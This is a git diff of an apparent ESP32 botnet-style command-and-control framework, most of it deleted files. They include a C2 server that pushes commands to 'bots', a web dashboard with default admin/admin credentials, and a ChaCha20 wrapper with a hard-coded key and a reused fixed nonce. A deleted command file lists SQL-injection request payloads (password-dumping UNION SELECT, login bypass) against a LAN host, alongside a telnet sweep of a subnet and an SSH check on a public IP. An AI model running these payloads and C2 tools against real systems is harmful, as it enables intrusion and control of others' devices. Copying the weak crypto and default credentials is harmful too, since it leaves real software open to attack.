- Asynchronous Python server (asyncio) - Threaded TCP server (sockets + threads)
- Device registry and management - Device registry and management with per-device crypto
- Group-based device organization - Group-based device organization
- Encrypted communications (ChaCha20) - Encrypted communications (ChaCha20-Poly1305 AEAD + HKDF key derivation)
- Per-device master key keystore (`keys.json`)
- Interactive CLI interface - Interactive CLI interface
- Optional TUI (Textual) and Web dashboard
- Camera UDP receiver + MLAT support
- Command dispatching to individual devices, groups, or all - Command dispatching to individual devices, groups, or all
See [c2/README.md](c2/README.md) for complete C2 documentation. See [C3PO/README.md](C3PO/README.md) for complete C2 documentation.
Quick start: Quick start:
```bash ```bash
cd c2 cd C3PO
python3 c3po.py --port 2626 python3 c3po.py
``` ```
Authors: **@off-path**, **@eun0us** Authors: **@off-path**, **@eun0us**
@ -94,8 +97,8 @@ Each device supports:
| `module_fakeap` | Enable fake AP module | | `module_fakeap` | Enable fake AP module |
| `recon_camera` | Enable camera reconnaissance (ESP32-CAM) | | `recon_camera` | Enable camera reconnaissance (ESP32-CAM) |
| `recon_ble_trilat` | Enable BLE trilateration | | `recon_ble_trilat` | Enable BLE trilateration |
| `crypto_key` | ChaCha20 encryption key (32 chars) |
| `crypto_nonce` | ChaCha20 nonce (12 chars) | > **Note**: Crypto keys are no longer configured here. Each device must be provisioned with a unique master key using `tools/provisioning/provision.py`.
### Hostname Randomization ### Hostname Randomization
@ -151,6 +154,26 @@ python3 flash.py --config devices.json --flash-only
See [flasher/README.md](flasher/README.md) for complete documentation. See [flasher/README.md](flasher/README.md) for complete documentation.
## Device Provisioning (provisioning/)
The **provisioning** tool generates and flashes unique per-device master keys into factory NVS partitions.
### Features
- Generates 32-byte random master keys (cryptographically secure)
- Creates NVS binary for factory partition (`fctry` at offset 0x10000)
- Saves keys to C2 keystore (`keys.json`) for automatic lookup
- Supports flashing directly to connected ESP32
### Quick Start
```bash
cd provisioning
python3 provision.py --device-id my-device --port /dev/ttyUSB0
```
The master key is used by the firmware with HKDF-SHA256 to derive encryption keys for ChaCha20-Poly1305 AEAD.
## NanoPB Tools (nan/) ## NanoPB Tools (nan/)
Tools for Protocol Buffers (nanoPB) code generation for the embedded communication protocol. Tools for Protocol Buffers (nanoPB) code generation for the embedded communication protocol.

View File

@ -1,322 +0,0 @@
# C2 Server Documentation
## TODO
**TODO:**
```md
- Add requierements.txt
- Implementer la coexistence entre multiflasher fichier (valid-id.txt - separator "\n" - C2 will only authorize device who are register in 'valid-id.txt' or add c2 command style 'authorizeId <id>' and he will be add into id list & valid-id.txt file)
```
## Overview
This C2 server is a Python-based control plane designed to manage a fleet of ESP devices (agents).
It provides a clean and extensible command-line interface to:
- Manage connected devices by unique ID
- Send commands to individual devices, groups, or all devices
- Organize devices into logical groups
- Display connection duration to the C2
- Support structured commands and raw developer commands
- Serve as a solid base for future plugins and services
The project intentionally favors simplicity, readability, and extensibility.
---
## Architecture Overview
```md
c2/
├── main.py # Entry point
├── core/
│ ├── device.py # Device model
│ ├── registry.py # Connected device registry
│ ├── crypto.py # Encryption wrapper
│ ├── transport.py # Message handling
│ └── groups.py # Group registry
├── commands/
│ ├── base.py # Command base class
│ ├── registry.py # Command registry
│ └── *.py # ESP command implementations
├── cli/
│ ├── cli.py # Interactive CLI
│ └── help.py # Help system
├── logs/
│ └── manager.py # ESP log handling
├── proto/
│ ├── command.proto # Protocol definition
│ └── command_pb2.py # Generated protobuf code
└── utils/
│ └── constant.py # Default script constant
```
---
## Core Concepts
### Device Identity
- Each ESP device is identified by a unique `esp_id`
- Devices are not identified by IP or port
- Reconnecting devices automatically replace their previous session
### Authentication Model
- Authentication is implicit
- If the server can successfully decrypt and parse a message, the device is considered valid
- No explicit handshake is required
- Fully compatible with existing firmware
---
## Running the Server
```bash
python main.py
```
## CLI Usage
### List Connected Devices
```md
list
*Example d'output:*
ID IP CONNECTED
----------------------------------------
ce4f626b 192.168.1.42 2m 14s
a91dd021 192.168.1.43 18s
```
The `CONNECTED` column shows how long the device has been connected to the c2
### Help Commands
```text
help [commands]
*example:* help
output:
=== C2 HELP ===
CLI Commands:
help [cmd] Show this help
list List connected ESP devices
send <target> <command> Send a command to ESP(s)
group <action> Manage ESP groups
clear Clear the screen
exit Exit the C2
ESP Commands:
reboot Reboot ESP
DEV MODE ENABLED:
You can send arbitrary text commands:
send <id> <any text>
send group <name> <any text>
send all <any text>
```
#### Help System
```md
General Help
help
Help for a Specific ESP Command
help reboot
Help for the send Command
help send
The help output is dynamically generated from the registered commands.
```
### Sending Commands
```md
send <esp_id> <command>
*example:* send ce4f626b reboot # The device named "ce4f626b" will reboot
```
### Send to All Devices
```md
send all [command]
*example:* send all reboot
```
### Send to a Group
```md
send group bots
*example:* send group bots reboot
```
### Developer Mode (RAW Commands)
When `DEV_MODE = True`, arbitrary text commands can be sent:
```md
send <id> [test 12 34]
*example:* send ce4f626b custom start stream
output **ce4f626b:** "start stream"
```
The commands are sent as-is inside the `Command.command` field.
## Groups
### Add Devices to a Group
```md
group add "group_name" <id/s>
*example:* group add bots ce4f626b a91dd021
### List Groups
```md
group list
*Example output:*
bots: ce4f626b, a91dd021
trilat: e2, e3, e1
```
### Show Group Members
```md
group show [group]
*example:* group show bots
output:
bots: ce4f626b, a91dd021
```
### Remove a Device from a Group
```md
group remove bots ce4f626b
```
Command System
Adding a New ESP Command
Create a new file in commands/, for example status.py
Implement the command handler:
from commands.base import CommandHandler
from proto.command_pb2 import Command
class StatusCommand(CommandHandler):
name = "status"
description = "Get device status"
def build(self, args):
cmd = Command()
cmd.command = "status"
return cmd.SerializeToString()
Register the command in main.py:
commands.register(StatusCommand())
The command will automatically appear in:
CLI tab completion
help
send <id> <command>
## Protocol Definition
// explain nano pb
### Command
```h
message Command {
string command = 1;
}
```
### Response
```h
message Response {
string tag = 1;
string id = 2;
string message = 3;
bytes response_data = 4;
}
```
### Log
```h
message Log {
string tag = 1;
string id = 2;
string log_message = 3;
uint32 log_error_code = 4;
}
```
## Communication
The communication between c2 and bots are end-to-end encrypted.</br>
Method:
```md
- ChaCha20 symmetric encryption
- Base64 transport encoding
- Encryption logic centralized in core/crypto.py
- Fully compatible with current ESP firmware
```
## Design Limitations (Intentional)
```md
- No persistent storage (groups reset on restart)
- No request/response correlation (request-id)
- No permissions or role management
- No dynamic plugin loading
```
These are deferred intentionally to keep the core system minimal and clean.
## Suggested Future Extensions
Todo and additional features:
```md
- Plugin system (camera, proxy, trilateration/multilateration / etc.. )
- Persistent user & group storage (JSON) (Multi-Flasher -> devices.json -> id-list.csv [Allow ID on c2])
- Idle time display (last-seen)
- Request/response correlation with request-id
- Protocol versioning
```
---
### Authors
```md
- @off-path
- @Eun0us
```
---

View File

@ -1,31 +0,0 @@
import base64
from Crypto.Cipher import ChaCha20
KEY = b"testde32chars0000000000000000000"
NONCE = b"noncenonceno"
class CryptoContext:
def __init__(self, key: bytes = KEY, nonce: bytes = NONCE):
self.key = key
self.nonce = nonce
# =========================
# ChaCha20
# =========================
def encrypt(self, data: bytes) -> bytes:
cipher = ChaCha20.new(key=self.key, nonce=self.nonce)
return cipher.encrypt(data)
def decrypt(self, data: bytes) -> bytes:
cipher = ChaCha20.new(key=self.key, nonce=self.nonce)
return cipher.decrypt(data)
# =========================
# Base64
# =========================
def b64_encode(self, data: bytes) -> bytes:
return base64.b64encode(data)
def b64_decode(self, data: bytes) -> bytes:
return base64.b64decode(data)

View File

@ -1,2 +0,0 @@
pycryptodome>=3.15.0
protobuf>=4.21.0

View File

@ -1,387 +0,0 @@
"""Unified Flask web server for ESPILON C2 dashboard."""
import os
import logging
import threading
import time
from functools import wraps
from typing import Optional
from flask import Flask, render_template, send_from_directory, request, redirect, url_for, session, jsonify
from werkzeug.serving import make_server
from .mlat import MlatEngine
# Disable Flask/Werkzeug request logging
logging.getLogger('werkzeug').setLevel(logging.ERROR)
class UnifiedWebServer:
"""
Unified Flask-based web server for ESPILON C2.
Provides:
- Dashboard: View connected ESP32 devices
- Cameras: View live camera streams with recording
- Trilateration: Visualize BLE device positioning
"""
def __init__(self,
host: str = "0.0.0.0",
port: int = 8000,
image_dir: str = "static/streams",
username: str = "admin",
password: str = "admin",
secret_key: str = "change_this_for_prod",
multilat_token: str = "multilat_secret_token",
device_registry=None,
mlat_engine: Optional[MlatEngine] = None,
camera_receiver=None):
"""
Initialize the unified web server.
Args:
host: Host to bind the server
port: Port for the web server
image_dir: Directory containing camera frame images
username: Login username
password: Login password
secret_key: Flask session secret key
multilat_token: Bearer token for MLAT API
device_registry: DeviceRegistry instance for device listing
mlat_engine: MlatEngine instance (created if None)
camera_receiver: UDPReceiver instance for camera control
"""
self.host = host
self.port = port
self.image_dir = image_dir
self.username = username
self.password = password
self.secret_key = secret_key
self.multilat_token = multilat_token
self.device_registry = device_registry
self.mlat = mlat_engine or MlatEngine()
self.camera_receiver = camera_receiver
# Ensure image directory exists
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
full_image_dir = os.path.join(c2_root, self.image_dir)
os.makedirs(full_image_dir, exist_ok=True)
self._app = self._create_app()
self._server = None
self._thread = None
def set_camera_receiver(self, receiver):
"""Set the camera receiver after initialization."""
self.camera_receiver = receiver
@property
def is_running(self) -> bool:
return self._thread is not None and self._thread.is_alive()
def _create_app(self) -> Flask:
"""Create and configure the Flask application."""
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
template_dir = os.path.join(c2_root, "templates")
static_dir = os.path.join(c2_root, "static")
app = Flask(__name__,
template_folder=template_dir,
static_folder=static_dir)
app.secret_key = self.secret_key
web_server = self
# ========== Auth Decorators ==========
def require_login(f):
@wraps(f)
def decorated(*args, **kwargs):
if not session.get("logged_in"):
return redirect(url_for("login"))
return f(*args, **kwargs)
return decorated
def require_api_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
if session.get("logged_in"):
return f(*args, **kwargs)
auth_header = request.headers.get("Authorization", "")
if auth_header.startswith("Bearer "):
token = auth_header[7:]
if token == web_server.multilat_token:
return f(*args, **kwargs)
return jsonify({"error": "Unauthorized"}), 401
return decorated
# ========== Auth Routes ==========
@app.route("/login", methods=["GET", "POST"])
def login():
error = None
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if username == web_server.username and password == web_server.password:
session["logged_in"] = True
return redirect(url_for("dashboard"))
else:
error = "Invalid credentials."
return render_template("login.html", error=error)
@app.route("/logout")
def logout():
session.pop("logged_in", None)
return redirect(url_for("login"))
# ========== Page Routes ==========
@app.route("/")
@require_login
def index():
return redirect(url_for("dashboard"))
@app.route("/dashboard")
@require_login
def dashboard():
return render_template("dashboard.html", active_page="dashboard")
@app.route("/cameras")
@require_login
def cameras():
full_image_dir = os.path.join(c2_root, web_server.image_dir)
try:
image_files = sorted([
f for f in os.listdir(full_image_dir)
if f.endswith(".jpg")
])
except FileNotFoundError:
image_files = []
return render_template("cameras.html", active_page="cameras", image_files=image_files)
@app.route("/mlat")
@require_login
def mlat():
return render_template("mlat.html", active_page="mlat")
# ========== Static Files ==========
@app.route("/streams/<filename>")
@require_login
def stream_image(filename):
full_image_dir = os.path.join(c2_root, web_server.image_dir)
return send_from_directory(full_image_dir, filename)
@app.route("/recordings/<filename>")
@require_login
def download_recording(filename):
recordings_dir = os.path.join(c2_root, "static", "recordings")
return send_from_directory(recordings_dir, filename, as_attachment=True)
# ========== Device API ==========
@app.route("/api/devices")
@require_api_auth
def api_devices():
if web_server.device_registry is None:
return jsonify({"error": "Device registry not available", "devices": []})
now = time.time()
devices = []
for d in web_server.device_registry.all():
devices.append({
"id": d.id,
"ip": d.address[0] if d.address else "unknown",
"port": d.address[1] if d.address else 0,
"status": d.status,
"connected_at": d.connected_at,
"last_seen": d.last_seen,
"connected_for_seconds": round(now - d.connected_at, 1),
"last_seen_ago_seconds": round(now - d.last_seen, 1)
})
return jsonify({
"devices": devices,
"count": len(devices)
})
# ========== Camera API ==========
@app.route("/api/cameras")
@require_api_auth
def api_cameras():
full_image_dir = os.path.join(c2_root, web_server.image_dir)
try:
cameras = [
f.replace(".jpg", "")
for f in os.listdir(full_image_dir)
if f.endswith(".jpg")
]
except FileNotFoundError:
cameras = []
# Add recording status if receiver available
result = {"cameras": [], "count": len(cameras)}
for cam_id in cameras:
cam_info = {"id": cam_id, "recording": False}
if web_server.camera_receiver:
status = web_server.camera_receiver.get_recording_status(cam_id)
cam_info["recording"] = status.get("recording", False)
cam_info["filename"] = status.get("filename")
result["cameras"].append(cam_info)
result["count"] = len(result["cameras"])
return jsonify(result)
# ========== Recording API ==========
@app.route("/api/recording/start/<camera_id>", methods=["POST"])
@require_api_auth
def api_recording_start(camera_id):
if not web_server.camera_receiver:
return jsonify({"error": "Camera receiver not available"}), 503
result = web_server.camera_receiver.start_recording(camera_id)
if "error" in result:
return jsonify(result), 400
return jsonify(result)
@app.route("/api/recording/stop/<camera_id>", methods=["POST"])
@require_api_auth
def api_recording_stop(camera_id):
if not web_server.camera_receiver:
return jsonify({"error": "Camera receiver not available"}), 503
result = web_server.camera_receiver.stop_recording(camera_id)
if "error" in result:
return jsonify(result), 400
return jsonify(result)
@app.route("/api/recording/status")
@require_api_auth
def api_recording_status():
if not web_server.camera_receiver:
return jsonify({"error": "Camera receiver not available"}), 503
camera_id = request.args.get("camera_id")
return jsonify(web_server.camera_receiver.get_recording_status(camera_id))
@app.route("/api/recordings")
@require_api_auth
def api_recordings_list():
if not web_server.camera_receiver:
return jsonify({"recordings": []})
return jsonify({"recordings": web_server.camera_receiver.list_recordings()})
# ========== Trilateration API ==========
@app.route("/api/mlat/collect", methods=["POST"])
@require_api_auth
def api_mlat_collect():
raw_data = request.get_data(as_text=True)
count = web_server.mlat.parse_data(raw_data)
if count > 0:
web_server.mlat.calculate_position()
return jsonify({
"status": "ok",
"readings_processed": count
})
@app.route("/api/mlat/state")
@require_api_auth
def api_mlat_state():
state = web_server.mlat.get_state()
if state["target"] is None and state["scanners_count"] >= 3:
result = web_server.mlat.calculate_position()
if "position" in result:
state["target"] = {
"position": result["position"],
"confidence": result.get("confidence", 0),
"calculated_at": result.get("calculated_at", time.time()),
"age_seconds": 0
}
return jsonify(state)
@app.route("/api/mlat/config", methods=["GET", "POST"])
@require_api_auth
def api_mlat_config():
if request.method == "POST":
data = request.get_json() or {}
web_server.mlat.update_config(
rssi_at_1m=data.get("rssi_at_1m"),
path_loss_n=data.get("path_loss_n"),
smoothing_window=data.get("smoothing_window")
)
return jsonify({
"rssi_at_1m": web_server.mlat.rssi_at_1m,
"path_loss_n": web_server.mlat.path_loss_n,
"smoothing_window": web_server.mlat.smoothing_window
})
@app.route("/api/mlat/clear", methods=["POST"])
@require_api_auth
def api_mlat_clear():
web_server.mlat.clear()
return jsonify({"status": "ok"})
# ========== Stats API ==========
@app.route("/api/stats")
@require_api_auth
def api_stats():
full_image_dir = os.path.join(c2_root, web_server.image_dir)
try:
camera_count = len([
f for f in os.listdir(full_image_dir)
if f.endswith(".jpg")
])
except FileNotFoundError:
camera_count = 0
device_count = 0
if web_server.device_registry:
device_count = len(list(web_server.device_registry.all()))
multilat_state = web_server.mlat.get_state()
return jsonify({
"active_cameras": camera_count,
"connected_devices": device_count,
"multilateration_scanners": multilat_state["scanners_count"],
"server_running": True
})
return app
def start(self) -> bool:
"""Start the web server in a background thread."""
if self.is_running:
return False
self._server = make_server(self.host, self.port, self._app, threaded=True)
self._thread = threading.Thread(target=self._server.serve_forever, daemon=True)
self._thread.start()
return True
def stop(self):
"""Stop the web server."""
if self._server:
self._server.shutdown()
self._server = None
self._thread = None
def get_url(self) -> str:
"""Get the server URL."""
return f"http://{self.host}:{self.port}"

View File

@ -1,14 +0,0 @@
# Command & Controll
Code refacto dans .tools/c2 a finir Trilateration -> multilateration
Run c3po.py and ur c2 are up on port 2626 u can edit it on /utils/constant.py
Je dois faire cette doc
( J'ai refacto le code dans [Click Here](../c2/README.md))
## Authors
- @off-path (Main dev c2)
- @Eun0us (Trillateration implementation + proto buff)

View File

@ -1,162 +0,0 @@
import base64
import socket
import threading
import os
from utils.espilon_pb2 import ESPMessage, C2Command
from utils.chacha20 import crypt
from utils.manager import add_to_group, remove_group, remove_esp_from_group
from utils.utils import _print_status, _find_client
from utils.reboot import reboot
from utils.cli import _setup_cli, _color, cli_interface
from tools.c2.utils.constant import HOST, PORT, COMMANDS
from utils.message_process import process_esp_message
class C2Server:
def __init__(self):
self.clients = {}
self.groups = {}
self.clients_ids = {}
# For response synchronization
self.response_events = {}
self.response_data = {}
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server.bind((HOST, PORT))
self.server.listen(5)
_setup_cli(self)
self._start_server()
# ---------- Core Server Functions ----------
def _start_server(self):
print(f"\n{_color('GREEN')}[*] Server is listening on {HOST}:{PORT}{_color('RESET')}")
threading.Thread(target=self._accept_clients, daemon=True).start()
cli_interface(self)
def _accept_clients(self):
while True:
client_socket, client_address = self.server.accept()
threading.Thread(target=self._handle_client, args=(client_socket, client_address)).start()
def _handle_client(self, client_socket, client_address):
self._close_existing_client(client_address)
self.clients[client_address] = client_socket
_print_status(f"New client connected : {client_address}", "GREEN")
# Initialize event for this client
self.response_events[client_address] = threading.Event()
self.response_data[client_address] = None
while True:
try:
message = client_socket.recv(4096)
if not message:
break
try:
process_esp_message(self, client_address, message)
except Exception as e:
print(f"Error during decryption: {e}")
continue
except (ConnectionResetError, BrokenPipeError):
break
_print_status(f"Client {client_address} disconnected", "RED")
self.clients.pop(client_address, None)
if client_address in self.response_events:
del self.response_events[client_address]
if client_address in self.response_data:
del self.response_data[client_address]
client_socket.close()
# ---------- Client Management ----------
def _close_existing_client(self, client_address):
if client_address in self.clients:
self.clients[client_address].close()
del self.clients[client_address]
_print_status(f"Client {client_address} disconnected", "RED")
# ---------- CLI Interface ----------
def _complete(self, text, state):
if text.startswith("reboot "):
options = [addr[0] for addr in self.clients.keys() if addr[0].startswith(text[7:])]
options.append("all")
options.extend(self.groups.keys())
elif text.startswith("add_group "):
options = [addr[0] for addr in self.clients.keys() if addr[0].startswith(text[10:])]
elif text.startswith("remove_group "):
options = [group for group in self.groups.keys() if group.startswith(text[13:])]
elif text.startswith("remove_esp_from "):
parts = text.split()
if len(parts) >= 2 and parts[1] in self.groups:
options = self.groups[parts[1]]
else:
options = [cmd for cmd in COMMANDS if cmd.startswith(text)]
return options[state] if state < len(options) else None
def _handle_reboot(self, parts):
if len(parts) != 2:
_print_status("Invalid command. Use 'reboot <id_esp32>', 'reboot all', or 'reboot <group>'", "RED", "")
return
target = parts[1]
if target == "all":
reboot(self, mode="all")
elif target in self.groups:
reboot(self, target, mode="group")
else:
client = _find_client(self, target)
if client:
reboot(self, client, mode="single")
else:
_print_status(f"Client with ID {target} not found", "RED", "")
def _handle_add_group(self, parts):
if len(parts) != 3:
_print_status("Invalid command. Use 'add_group <group> <id_esp32>'", "RED", "")
return
group_name, client_id = parts[1], parts[2]
client = _find_client(self, client_id)
if client:
add_to_group(self, group_name, client)
else:
_print_status(f"Client with ID {client_id} not found", "RED", "")
def _handle_remove_group(self, parts):
if len(parts) != 2:
_print_status(" Invalid command. Use 'remove_group <group>'", "RED", "")
return
remove_group(self, parts[1])
def _handle_remove_esp_from(self, parts):
if len(parts) < 3:
_print_status(" Invalid command. Use 'remove_esp_from <group> <esp>[,<esp>...]'", "RED", "")
return
group_name = parts[1]
esp_list = []
for part in parts[2:]:
esp_list.extend(part.split(','))
remove_esp_from_group(self, group_name, esp_list)
def _shutdown(self):
_print_status(" Closing server ...", "YELLOW", "")
for client in list(self.clients.values()):
client.close()
self.server.close()
os._exit(0)
if __name__ == "__main__":
C2Server()

View File

@ -1,31 +0,0 @@
from dataclasses import dataclass, field
import socket
import time
@dataclass
class Device:
"""
Représente un ESP32 connecté au serveur
"""
id: str
sock: socket.socket
address: tuple[str, int]
connected_at: float = field(default_factory=time.time)
last_seen: float = field(default_factory=time.time)
def touch(self):
"""
Met à jour la date de dernière activité
"""
self.last_seen = time.time()
def close(self):
"""
Ferme proprement la connexion
"""
try:
self.sock.close()
except Exception:
pass

View File

@ -1,67 +0,0 @@
import threading
from typing import Dict, List, Optional
from core.device import Device
class DeviceRegistry:
"""
Registre central des ESP connectés.
Clé primaire : esp_id
"""
def __init__(self):
self._devices: Dict[str, Device] = {}
self._lock = threading.Lock()
# ---------- Gestion des devices ----------
def add(self, device: Device) -> None:
"""
Ajoute ou remplace un device (reconnexion)
"""
with self._lock:
self._devices[device.id] = device
def remove(self, esp_id: str) -> None:
"""
Supprime un device par ID
"""
with self._lock:
device = self._devices.pop(esp_id, None)
if device:
device.close()
def get(self, esp_id: str) -> Optional[Device]:
"""
Récupère un device par ID
"""
with self._lock:
return self._devices.get(esp_id)
def all(self) -> List[Device]:
"""
Retourne la liste de tous les devices
"""
with self._lock:
return list(self._devices.values())
def ids(self) -> List[str]:
"""
Retourne la liste des IDs ESP (pour CLI / tabulation)
"""
with self._lock:
return list(self._devices.keys())
# ---------- Utilitaires ----------
def exists(self, esp_id: str) -> bool:
with self._lock:
return esp_id in self._devices
def touch(self, esp_id: str) -> None:
"""
Met à jour last_seen dun ESP
"""
with self._lock:
device = self._devices.get(esp_id)
if device:
device.touch()

View File

@ -1,5 +0,0 @@
192.168.1.155:5000|GET /search?id=1%20UNION%20SELECT%20NULL,NULL,password%20FROM%20users HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
192.168.1.155:5000|GET /login?user=admin&pass=%27%20OR%201%3D1%20--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
192.168.1.155:5000|GET /search?q=%27%20UNION%20SELECT%20NULL--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
192.168.1.155:5000|GET /product?id=1%27%20AND%201%3DCONVERT%28int%2C@@version%29--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
82.67.142.175:22|SSH_CHECK

View File

@ -1,64 +0,0 @@
import socket
import threading
import time
clients = {}
lock = threading.Lock()
def load_all_commands(filename="commands.txt"):
try:
with open(filename, "r") as f:
return [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"[!] File {filename} not found.")
return []
def handle_client(client_socket, address):
client_id = f"{address[0]}:{address[1]}"
print(f"[+] New client connected : {client_id}")
with lock:
clients[client_id] = client_socket
commands = load_all_commands()
try:
for cmd in commands:
print(f"[→] Send to {client_id} : {cmd}")
client_socket.sendall((cmd + "\n").encode())
# Attente de la réponse du client avant de continuer
data = client_socket.recv(4096)
if not data:
print(f"[!] Client {client_id} has closed connexion.")
break
print(f"[←] Résponse from {client_id} : {data.decode(errors='ignore')}")
except Exception as e:
print(f"[!] Error with {client_id} : {e}")
finally:
with lock:
if client_id in clients:
del clients[client_id]
client_socket.close()
print(f"[-] Client disconnected : {client_id}")
def accept_connections(server_socket):
while True:
client_socket, addr = server_socket.accept()
threading.Thread(target=handle_client, args=(client_socket, addr), daemon=True).start()
def start_server(host="0.0.0.0", port=2021):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(5)
print(f"[Server] Listening on {host}:{port}")
threading.Thread(target=accept_connections, args=(server,), daemon=True).start()
while True:
time.sleep(1)
if __name__ == "__main__":
start_server()

View File

@ -1,254 +0,0 @@
192.168.1.1:23|PORT_CHECK
192.168.1.2:23|PORT_CHECK
192.168.1.3:23|PORT_CHECK
192.168.1.4:23|PORT_CHECK
192.168.1.5:23|PORT_CHECK
192.168.1.6:23|PORT_CHECK
192.168.1.7:23|PORT_CHECK
192.168.1.8:23|PORT_CHECK
192.168.1.9:23|PORT_CHECK
192.168.1.10:23|PORT_CHECK
192.168.1.11:23|PORT_CHECK
192.168.1.12:23|PORT_CHECK
192.168.1.13:23|PORT_CHECK
192.168.1.14:23|PORT_CHECK
192.168.1.15:23|PORT_CHECK
192.168.1.16:23|PORT_CHECK
192.168.1.17:23|PORT_CHECK
192.168.1.18:23|PORT_CHECK
192.168.1.19:23|PORT_CHECK
192.168.1.20:23|PORT_CHECK
192.168.1.21:23|PORT_CHECK
192.168.1.22:23|PORT_CHECK
192.168.1.23:23|PORT_CHECK
192.168.1.24:23|PORT_CHECK
192.168.1.25:23|PORT_CHECK
192.168.1.26:23|PORT_CHECK
192.168.1.27:23|PORT_CHECK
192.168.1.28:23|PORT_CHECK
192.168.1.29:23|PORT_CHECK
192.168.1.30:23|PORT_CHECK
192.168.1.31:23|PORT_CHECK
192.168.1.32:23|PORT_CHECK
192.168.1.33:23|PORT_CHECK
192.168.1.34:23|PORT_CHECK
192.168.1.35:23|PORT_CHECK
192.168.1.36:23|PORT_CHECK
192.168.1.37:23|PORT_CHECK
192.168.1.38:23|PORT_CHECK
192.168.1.39:23|PORT_CHECK
192.168.1.40:23|PORT_CHECK
192.168.1.41:23|PORT_CHECK
192.168.1.42:23|PORT_CHECK
192.168.1.43:23|PORT_CHECK
192.168.1.44:23|PORT_CHECK
192.168.1.45:23|PORT_CHECK
192.168.1.46:23|PORT_CHECK
192.168.1.47:23|PORT_CHECK
192.168.1.48:23|PORT_CHECK
192.168.1.49:23|PORT_CHECK
192.168.1.50:23|PORT_CHECK
192.168.1.51:23|PORT_CHECK
192.168.1.52:23|PORT_CHECK
192.168.1.53:23|PORT_CHECK
192.168.1.54:23|PORT_CHECK
192.168.1.55:23|PORT_CHECK
192.168.1.56:23|PORT_CHECK
192.168.1.57:23|PORT_CHECK
192.168.1.58:23|PORT_CHECK
192.168.1.59:23|PORT_CHECK
192.168.1.60:23|PORT_CHECK
192.168.1.61:23|PORT_CHECK
192.168.1.62:23|PORT_CHECK
192.168.1.63:23|PORT_CHECK
192.168.1.64:23|PORT_CHECK
192.168.1.65:23|PORT_CHECK
192.168.1.66:23|PORT_CHECK
192.168.1.67:23|PORT_CHECK
192.168.1.68:23|PORT_CHECK
192.168.1.69:23|PORT_CHECK
192.168.1.70:23|PORT_CHECK
192.168.1.71:23|PORT_CHECK
192.168.1.72:23|PORT_CHECK
192.168.1.73:23|PORT_CHECK
192.168.1.74:23|PORT_CHECK
192.168.1.75:23|PORT_CHECK
192.168.1.76:23|PORT_CHECK
192.168.1.77:23|PORT_CHECK
192.168.1.78:23|PORT_CHECK
192.168.1.79:23|PORT_CHECK
192.168.1.80:23|PORT_CHECK
192.168.1.81:23|PORT_CHECK
192.168.1.82:23|PORT_CHECK
192.168.1.83:23|PORT_CHECK
192.168.1.84:23|PORT_CHECK
192.168.1.85:23|PORT_CHECK
192.168.1.86:23|PORT_CHECK
192.168.1.87:23|PORT_CHECK
192.168.1.88:23|PORT_CHECK
192.168.1.89:23|PORT_CHECK
192.168.1.90:23|PORT_CHECK
192.168.1.91:23|PORT_CHECK
192.168.1.92:23|PORT_CHECK
192.168.1.93:23|PORT_CHECK
192.168.1.94:23|PORT_CHECK
192.168.1.95:23|PORT_CHECK
192.168.1.96:23|PORT_CHECK
192.168.1.97:23|PORT_CHECK
192.168.1.98:23|PORT_CHECK
192.168.1.99:23|PORT_CHECK
192.168.1.100:23|PORT_CHECK
192.168.1.101:23|PORT_CHECK
192.168.1.102:23|PORT_CHECK
192.168.1.103:23|PORT_CHECK
192.168.1.104:23|PORT_CHECK
192.168.1.105:23|PORT_CHECK
192.168.1.106:23|PORT_CHECK
192.168.1.107:23|PORT_CHECK
192.168.1.108:23|PORT_CHECK
192.168.1.109:23|PORT_CHECK
192.168.1.110:23|PORT_CHECK
192.168.1.111:23|PORT_CHECK
192.168.1.112:23|PORT_CHECK
192.168.1.113:23|PORT_CHECK
192.168.1.114:23|PORT_CHECK
192.168.1.115:23|PORT_CHECK
192.168.1.116:23|PORT_CHECK
192.168.1.117:23|PORT_CHECK
192.168.1.118:23|PORT_CHECK
192.168.1.119:23|PORT_CHECK
192.168.1.120:23|PORT_CHECK
192.168.1.121:23|PORT_CHECK
192.168.1.122:23|PORT_CHECK
192.168.1.123:23|PORT_CHECK
192.168.1.124:23|PORT_CHECK
192.168.1.125:23|PORT_CHECK
192.168.1.126:23|PORT_CHECK
192.168.1.127:23|PORT_CHECK
192.168.1.128:23|PORT_CHECK
192.168.1.129:23|PORT_CHECK
192.168.1.130:23|PORT_CHECK
192.168.1.131:23|PORT_CHECK
192.168.1.132:23|PORT_CHECK
192.168.1.133:23|PORT_CHECK
192.168.1.134:23|PORT_CHECK
192.168.1.135:23|PORT_CHECK
192.168.1.136:23|PORT_CHECK
192.168.1.137:23|PORT_CHECK
192.168.1.138:23|PORT_CHECK
192.168.1.139:23|PORT_CHECK
192.168.1.140:23|PORT_CHECK
192.168.1.141:23|PORT_CHECK
192.168.1.142:23|PORT_CHECK
192.168.1.143:23|PORT_CHECK
192.168.1.144:23|PORT_CHECK
192.168.1.145:23|PORT_CHECK
192.168.1.146:23|PORT_CHECK
192.168.1.147:23|PORT_CHECK
192.168.1.148:23|PORT_CHECK
192.168.1.149:23|PORT_CHECK
192.168.1.150:23|PORT_CHECK
192.168.1.151:23|PORT_CHECK
192.168.1.152:23|PORT_CHECK
192.168.1.153:23|PORT_CHECK
192.168.1.154:23|PORT_CHECK
192.168.1.155:23|PORT_CHECK
192.168.1.156:23|PORT_CHECK
192.168.1.157:23|PORT_CHECK
192.168.1.158:23|PORT_CHECK
192.168.1.159:23|PORT_CHECK
192.168.1.160:23|PORT_CHECK
192.168.1.161:23|PORT_CHECK
192.168.1.162:23|PORT_CHECK
192.168.1.163:23|PORT_CHECK
192.168.1.164:23|PORT_CHECK
192.168.1.165:23|PORT_CHECK
192.168.1.166:23|PORT_CHECK
192.168.1.167:23|PORT_CHECK
192.168.1.168:23|PORT_CHECK
